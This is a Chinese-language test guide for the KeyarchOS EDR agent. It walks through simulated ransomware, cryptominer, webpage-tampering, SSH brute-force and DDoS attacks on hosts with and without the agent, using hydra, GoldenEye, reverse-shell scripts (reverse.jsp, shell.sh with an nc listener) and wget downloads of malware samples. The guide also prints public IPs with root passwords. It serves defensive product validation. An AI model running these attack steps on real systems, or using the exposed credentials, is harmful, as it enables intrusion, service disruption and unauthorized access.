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基本信息

1.1 概述

EDR作为 KeyarchOS（简称 KOS）的安全工具，通过安装在 KOS主机上的

本地客户端（Agent）与管理中心联动，提供病毒木马、勒索软件、暴力破解等

攻击的查杀防护功能，防御未知程序运行和关键业务文件篡改。通过勒索病毒防

护、挖矿病毒防护、网页篡改防护、DDOS防护来测试相关功能。

1.2 环境

设备名称 编号 IP地址 备注 用户名密码

EDR管理中心 C 43.140.202.127 未安装 EDR agent root/Ssr123!@#
KOS主机 A 62.234.0.208 安装 EDR agent root/Ssr123!@#
KOS主机 B 58.87.85.39 未安装 EDR agent root/Ssr123!@#
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1.3 工具

分类 工具名称 备注

勒索病毒防护 existRansom.tar 带有已知病毒样本的压缩包

文件

unexistRansom.tar 带有未知病毒样本的压缩包

文件，会加密 docx类型文件

暴力破解工具 hydra 可进行基于 ssh协议暴力破

解

挖矿病毒防护
挖矿病毒样本 enc.sh.x 占用主机资源，运行后 CPU

利用率升高

reverse.jsp,shell.sh 反弹 shell脚本

网页篡改防护 change.jsp, 漏洞利用脚本

change.sh 漏洞利用脚本

index_back.html 篡改后页面

DDOS防护 GoldenEye-2.1 DDOS攻击工具

勒索病毒防护

勒索病毒一般通过钓鱼邮件方式入侵主机，加密或锁定设备和数据，并在局

域网通过暴力破解等手段横向渗透。基于以上特征 KOS主机安装了 EDR后，在

入侵阶段针对已知、未知病毒检测和控制；执行阶段针对勒索病毒行为检测和对

关键业务文件保护；横向渗透阶段通过防暴力破解阻止横向渗透。不同阶段防护

如下：

2.1 已知勒索病毒防护

通过钓鱼邮件方式下载包含已知病毒样本，以 wget方式下载 existRansom.tar

进行模拟，查看防护效果步骤如下：

1. 下载勒索病毒：分别在主机 A(安装 EDR)和 B(未安装 EDR)中通过命令“wget
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-r -np -nd --no-check-certificate https://IP:9143/test/existRansom.tar”下载恶意

文件。

2. 查看下载结果：主机 A(安装 EDR)下载已知病毒文件后被实时查杀，当前目

录 无 existRansom.tar 文 件 ， 主 机 B( 未 安 装 EDR) 当 前 目 录 下 存 在

existRansom.tar。

2.2 未知勒索病毒防护

未知病毒通过钓鱼邮件等方式进入主机后，进行破坏操作。本例通过内置于

/usr/目录下的 unexistRansom 中存在的勒索病毒样本，运行后会加密/opt/2csec/

目录下的 docx后缀文件，并修改后缀为 docxlock。查看防护效果，步骤如下：

1. 运行勒索病毒：分别在主机 A(安装 EDR)和 B(未安装 EDR)中运行

/usr/unexistRansom目录下的 install.sh。

2. 查看主机 A运行结果：主机 A（安装 EDR）禁止运行。

3. 查看主机 B运行结果：主机 B（未安装 EDR）允许运行，/opt/2csec/目录下

文件被加密。

2.3 基于行为勒索病毒检测

当勒索病毒程序已经进入主机并拥有运行权限时，通过勒索病毒程序行为检

https://IP:9143/test/existRansom.tar
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测勒索病毒，步骤如下：

1. 执行勒索病毒：在主机 A的/usr/local/unexistRansom目录下运行 install.sh

2. 查看运行结果：当前进程被识别为勒索病毒，并被杀死；“ll –a /opt/2csec/”

命令查看/opt/2csec/目录下文件，因业务保护无法被修改。

2.4 基于暴力破解的横向渗透防护

病毒横向渗透一般途径为暴力破解，在主机 B使用 hydra暴力破解工具对主

机 A和主机 C进行暴力破解，步骤如下：

1. 执行暴力破解：在主机 B的/usr/local/unexistRansom目录下运行 hydra.sh，同

时攻击未安装 Agent主机 C和已安装 Agent主机 A.

2. 查看爆破结果：等待爆破结束后，查看结果。对主机 C暴力破解成功，对主

机 A暴力破解失败。

挖矿病毒防护

挖矿病毒一般通过主机漏洞进入主机，占用大量系统资源进行挖矿。基于以
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上特征安装了 EDR的 KOS 主机分别在入侵阶段针对反弹 shell、已知和未知病

毒检测和控制。不同阶段防护及步骤如下。

3.1 反弹 shell入侵防护

利用目标主机的网站上传文件漏洞，上传并执行反弹 shell脚本，以达到在

测试靶机控制目标主机的目的。步骤如下：

1. 上传反弹脚本：分别在主机 A (安装 EDR)、主机 B (未安装 EDR)的

http://IP:8080/reverse/upload.html页面，上传文件 reverse.jsp和 shell.sh。

2. 启用监听端口：在测试靶机 C使用“nc -l -vv -p 8445”命令监听 8445端口。

3. 执行反弹脚本：分别访问主机 A (安装 EDR)、主机 B (未安装 EDR)的

http://IP:8080/reverse/reverse.jsp。

4. 查看主机 A反弹结果：主机 A (安装 EDR)未在测试靶机反弹成功。

5. 查看主机 B反弹结果：主机 B (未安装 EDR)在测试靶机反弹成功。

http://ip:8080/reverse/upload.html
http://ip:8080/reverse/reverse.jsp
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3.2 已知挖矿病毒防护

当已经通过反弹 shell 获取主机操作权限后，下载包含已知病毒样本的

exist.tar，查看防护效果，步骤如下：

1. 下载挖矿病毒：分别在主机 A(安装 EDR)和 B(未安装 EDR)中通过命令“wget
-r -np -nd --no-check-certificate https://IP:9143/test/ exist.tar”下载挖矿病毒。

2. 查看下载结果：主机 A (安装 EDR)下载已知病毒文件后被实时查杀，当前目

录无 exist.tar文件；主机 B(未安装 EDR)当前目录下存在 exist.tar。

3.3 未知挖矿病毒防护

当已经通过反弹 shell获取主机操作权限后，下载病毒样，创建定时任务、

执行挖矿样本。本例通过内置于/usr/local/mining目录下的创建定时任务脚本和模

拟挖矿工具，查看防护效果。步骤如下：

1. 主机 A创建定时任务：在主机 A(安装 EDR)运行 mining目录下的 cron.sh创

建定时任务，创建定时任务失败。

2. 主机 B创建定时任务：在主机 B(未安装 EDR)运行 mining目录下的 cron.sh

创建定时任务，创建定时任务成功。

3. 主机 A运行挖矿脚本：在主机 A(未安装 EDR)运行mining目录下的 enc.sh.x，

禁止运行，top命令查看 cpu未见升高。

4. 主机 B运行挖矿脚本：在主机 B(未安装 EDR)运行 mining目录下的 enc.sh.x，

https://IP:9143/test/existRansom.tar
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允许运行（运行后 ctrl+c终止），top查看 CPU明显升高。

网页篡改防护

攻击者利用主机自身漏洞篡改网站页面。安装了 EDR的 KOS主机可以保护

核心业务文件不受篡改，通过文件上传漏洞进行网页篡改及防护操作步骤如下：

1. 上传篡改脚本：分别在主机 A (安装 EDR)、主机 B (未安装 EDR)的

http://IP:8080/reverse/upload.html 页面，上传文件 change.jsp、change.sh 和

index_back.html。

2. 查看篡改前页面：分别访问主机 A (安装 EDR)、主机 B (未安装 EDR)的

http://IP:8080/reverse/index.html，查看未篡改前页面。

3. 执行篡改脚本：分别访问主机 A (安装 EDR)、主机 B (未安装 EDR)的

http://IP:8080/reverse/change.jsp，执行篡改脚本。

4. 主机 A 篡改结果：查看主机 A (安装 EDR) http://IP:8080/reverse/index.html

页面，未被篡改。

http://ip:8080/reverse/upload.html
http://ip:8080/reverse/change.jsp
http://ip:8080/reverse/index.html
http://ip:8080/reverse/index.html


浪潮信息云峦 KeyarchOS 安全攻防测试操作指导

9

5. 主机 B篡改结果：查看主机 B (未安装 EDR) http://IP:8080/reverse/index.html

页面，篡改成功。

DDOS 防护

DDOS 即分布式阻断服务，黑客利用 DDOS 攻击器控制多台机器同时攻击

来达到“妨碍正常使用者使用服务”的目的。保护主机受到 DDOS攻击时业务正常。

安装了 EDR的 KOS主机可以抵御 DDOS攻击，操作步骤如下。

1. 查看攻击前页面：分别访问主机 A (安装 EDR)、主机 B (未安装 EDR) 业务

网址 http://IP:8080/reverse/upload.html，访问成功。

2. 执行 DDOS攻击：进入主机 116.62.37.110的/usr/local/goldeneye 目录下，使

用 GoldenEye 工具分别攻击目标主机 A 和主机 B，命令为“ python3

goldeneye.py http://IP:8080/reverse/upload.html”。

3. 查 看 主 机 B 攻 击 后 页 面 ： 访 问 主 机 B ( 未 安 装 EDR) 业 务 网 址

http://IP:8080/reverse/upload.html，访问失败。

http://ip:8080/reverse/index.html
http://ip:8080/reverse/index.html
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4. 查 看 主 机 A 攻 击 后 页 面 ： 访 问 主 机 A ( 安 装 EDR) 业 务 网 址

http://IP:8080/reverse/upload.html，访问成功，业务未受攻击影响。
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